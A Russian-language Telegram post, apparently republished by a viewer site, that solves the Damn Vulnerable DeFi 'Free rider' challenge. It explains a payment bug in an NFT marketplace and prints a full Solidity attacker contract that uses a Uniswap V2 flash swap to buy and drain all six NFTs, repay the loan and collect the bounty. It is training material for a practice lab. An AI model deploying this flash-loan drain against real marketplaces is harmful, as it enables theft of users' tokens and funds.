TGViewer
Из Solidity в AI и дальше Из Solidity в AI и дальше @solidityset · 2.47K subscribers
Post #449 189
Damn Vulnerable Defi. Задача 10. Free rider

Запустился новый маркет NFT с первыми 6 картинками и ценой в 15 ETH. Один из покупателей предлагает 45 ETH за взлом маркета и кражу всех токенов.

На счету у вас всего 0.5 ETH. Нужно выполнить задумку взлома.

В чем суть?

Как и для предыдущей задачи, тут нам требуется знать, как работает Uniswap, а точнее его flashloans. Другими словами, мы может взять некоторое количество Эфира, использовать его для своих целей, и вернуть в этой же транзакции, заплатив небольшую комиссию. Именно для комиссии, нам дали те 0.5 Эфира в начале.

Далее пройдемся по контракту и попробуем посмотреть, что может сыграть на на руку.

Взгляните на функцию _buyOne(). Она сначала пересылает сам токен, а потом еще и возвращает деньги заплатившему! Т.е. не продавец получит деньги, а покупатель вернет свои! Эту уязвимость и предлагают нам использовать в купе с flashloan от Uniswap.

Так как же выполнить задачу: получить быстрый займ, прокрутить NFT, отправив их на адрес заказчика, и после всего, получить свои 45 Эфира вознаграждения?

Логика будет такая: мы берем займ WETH, меняем его на ETH, покупаем NTF, возвращая деньги с помощью ошибки в коде, снова меняем ETH на WETH и отдаем займ с процентом на биржу Uniswap. И все это в одной транзакции!

Для этого потребуется написать небольшой контракт:

interface IWETH {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function withdraw(uint256) external;
} 

contract Attacker10 {

IERC721 private immutable NFT;
IWETH private immutable WETH;
IUniswapV2Pair private immutable UNISWAP_PAIR;
 
//Создаем объекты контрактов NFT, WETH и пары Uniswap для обмена

address private immutable marketplace;
address private immutable buyer;
address private immutable attacker;

  uint256[] tokenIds = [0, 1, 2, 3, 4, 5];
 
  //токены для покупки

  receive() external payable {}

  constructor(
    address _nft,
    address payable _weth,
    address _pair,
    address payable _marketplace,
    address _buyer
  ) {
    NFT = IERC721(_nft);
    WETH = IWETH(_weth);
    UNISWAP_PAIR = IUniswapV2Pair(_pair);
    marketplace = _marketplace;
    attacker = msg.sender;
    buyer = _buyer;
}

function attack(uint256 _amount0) external {
   require(msg.sender == attacker);
   bytes memory _data = "1";
   UNISWAP_PAIR.swap(_amount0, 0, address(this), _data);
}

  //Функция обмена на WETH в Uniswap

function uniswapV2Call(
        address,
        uint256 _amount0,
        uint256,
        bytes calldata
    ) external {
  require(msg.sender == address(UNISWAP_PAIR) && tx.origin == attacker);
 
  //Получаем ETH
  WETH.withdraw(_amount0);
 
  //Покупаем NTF
  (bool nftsBought, ) =
marketplace.call{value: _amount0}(
     abi.encodeWithSignature("buyMany(uint256[])", tokenIds)
   );

  // Считаем комиссию и сумма swap
  uint256 _fee = (_amount0 * 3) / 997 + 1;
  uint256 _repayAmount = _fee + _amount0;

  //Получаем WETH для возврата займа
  WETH.deposit{value: _repayAmount}();

  //Оплачиваем займ
  WETH.transfer(address(UNISWAP_PAIR), _repayAmount);

  //Отсылаем NFT заказчику
  for (uint256 i = 0; i < 6; i++) {
    NFT.safeTransferFrom(address(this), buyer, tokenIds[i]);
   }

  //Забираем вознаграждение за злом от заказчика
  (bool ethSent, ) =
attacker.call{value: address(this).balance}("");
  require(nftsBought && ethSent);
}

  //Функция для приема NFT на контракт
  function onERC721Received(address, address, uint256,bytes memory)
  external view returns (bytes4) {
   require(msg.sender == address(NFT) && tx.origin == attacker);
   return 0x150b7a02;
  }
}

В документации можно найти, как рассчитывать комиссию за займ.

И решение может выглядеть так:
More from @solidityset
  1. Oct 8, 2026Промо видео для SaaS и других ваших проектов Хочу поделить с вами одним из своих открытий…
  2. Oct 8, 2026video post
  3. Oct 2, 2026Вторая сложность — как доказать, что установилось именно опубликованное. В первом варианте…
  4. Oct 2, 2026Задача с полуоткрытым кодом На днях, в процессе создания одного приложения, столкнулся с и…
  5. Sep 22, 2026Какой язык программирования учить сейчас? На днях в Твиттере увидел небольшой пост о разви…
  6. Sep 18, 2026Интересная модель Jev Буквально пару дней назад в Твиттере многие начали обсуждение новой…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →